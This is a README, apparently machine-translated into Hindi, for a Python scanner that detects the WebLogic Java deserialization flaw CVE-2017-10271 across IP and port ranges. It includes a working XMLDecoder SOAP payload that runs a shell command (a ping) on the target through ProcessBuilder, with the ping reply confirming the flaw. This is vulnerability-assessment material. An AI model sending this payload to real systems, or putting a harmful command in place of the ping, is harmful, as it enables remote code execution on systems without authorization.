
CVE-2017-10271 जैसी भेद्यताओं को लक्षित करने वाला एक Java deserialization भेद्यता स्कैनर।
CVE-2017-10271 जैसी भेद्यताओं के लिए एक java डीसीरियलाइज़ेशन भेद्यता स्कैनर। इस प्रोजेक्ट में केवल एक poc है, बाकी को अभी व्यवस्थित नहीं किया गया है।
nmap इंस्टॉल करें
https://nmap.org/download.html ऑपरेटिंग सिस्टम के अनुसार अलग-अलग संस्करण डाउनलोड करके इंस्टॉल करें।
थर्ड-पार्टी पैकेज इंस्टॉल करें
pip install -r requirements.txt
स्कैन
poc को संशोधित करें, ping कमांड में ip पता अपने ip पते में बदलें
25वीं पंक्ति में sniff कोड संशोधित करें
sniff(filter='icmp and yourIP',prn=packet_callback)
java_scan.py -i IP地址 [options] java_scan.py -h 获得帮助
उपयोग से पहले poc को संशोधित करना सुनिश्चित करें, ping कमांड में ip पता अपने ip पते में बदलें।
poc दो json प्रारूप फाइलें हैं जो क्रमशः windows और linux के लिए उपयुक्त हैं (वर्तमान में poc पथ निर्दिष्ट करने की सुविधा जोड़ी नहीं गई है, बाद के संस्करण में यह सुविधा जोड़ी जाएगी)। कृपया प्रोग्राम निर्देशिका में poc.json और poc_win.json नाम से poc रखना सुनिश्चित करें।
poc के प्रारूप के बारे में (linux संस्करण, windows संस्करण समान है)
{
"url":"wls-wsat/CoordinatorPortType",
"header": "Content-Type:text/xml",
"data": [
"<soapenv:Envelope xmlns:soapenv='http://schemas.xmlsoap.org/soap/envelope/'>",
"<soapenv:Header>",
"<work:WorkContext xmlns:work='http://bea.com/2004/06/soap/workarea/'>",
"<java version='1.8.0_131' class='java.beans.XMLDecoder'>",
"<void class='java.lang.ProcessBuilder'>",
"<array class='java.lang.String' length='3'>",
"<void index='0'>",
"<string>/bin/bash</string>",
"</void>",
"<void index='1'>",
"<string>-c</string>",
"</void>",
"<void index='2'>",
"<string>ping 10.60.18.5 -c 2</string>",
"</void>",
"</array>",
"<void method='start'/></void>",
"</java>",
"</work:WorkContext>",
"</soapenv:Header>",
"<soapenv:Body/>",
"</soapenv:Envelope>"
]
}
url भेद्यता शोषण के लिए निर्देशिका निर्दिष्ट करता है, header पोस्ट पैकेट में जोड़ी गई नई header सामग्री निर्दिष्ट करता है, data वह सीरियलाइज़ की गई सामग्री है जिसे भेजा जाना है।
ध्यान दें: इस poc के लिए भेद्य होस्ट को 2 ping पैकेट लौटाने होंगे, प्रोग्राम द्वारा ICMP पैकेट का पता लगाए जाने पर ही भेद्यता की पुष्टि की जा सकती है।
प्रोग्राम डिफ़ॉल्ट रूप से लैन स्कैन करने के लिए nmap को कॉल करता है।
java_scan.py -i 192.168.0.1
यह स्कैन 192.168.0.1 होस्ट के 7001 पोर्ट को स्कैन करता है।
एकल ip और पोर्ट निर्दिष्ट करें
java_scan.py -i 192.168.0.1 -p 7001
एकाधिक ip और एकाधिक पोर्ट निर्दिष्ट करें
java_scan.py -i 192.168.0.1,2,55 -p 7001,8001,9001
ip रेंज और पोर्ट रेंज निर्दिष्ट करें
java_scan.py -i 192.168.0.1-255 -p 7000-8000
-f पैरामीटर का उपयोग करके, पोर्ट का तेज़ी से पता लगाने के लिए socket को कॉल किया जाएगा।
java_scan.py -i 192.168.0.1-255 -p 7001 -f
तेज़ पोर्ट डिटेक्शन के लिए थ्रेड संख्या निर्दिष्ट करें
java_scan.py -i 192.168.0.1-255 -p 7001 -f -t 100
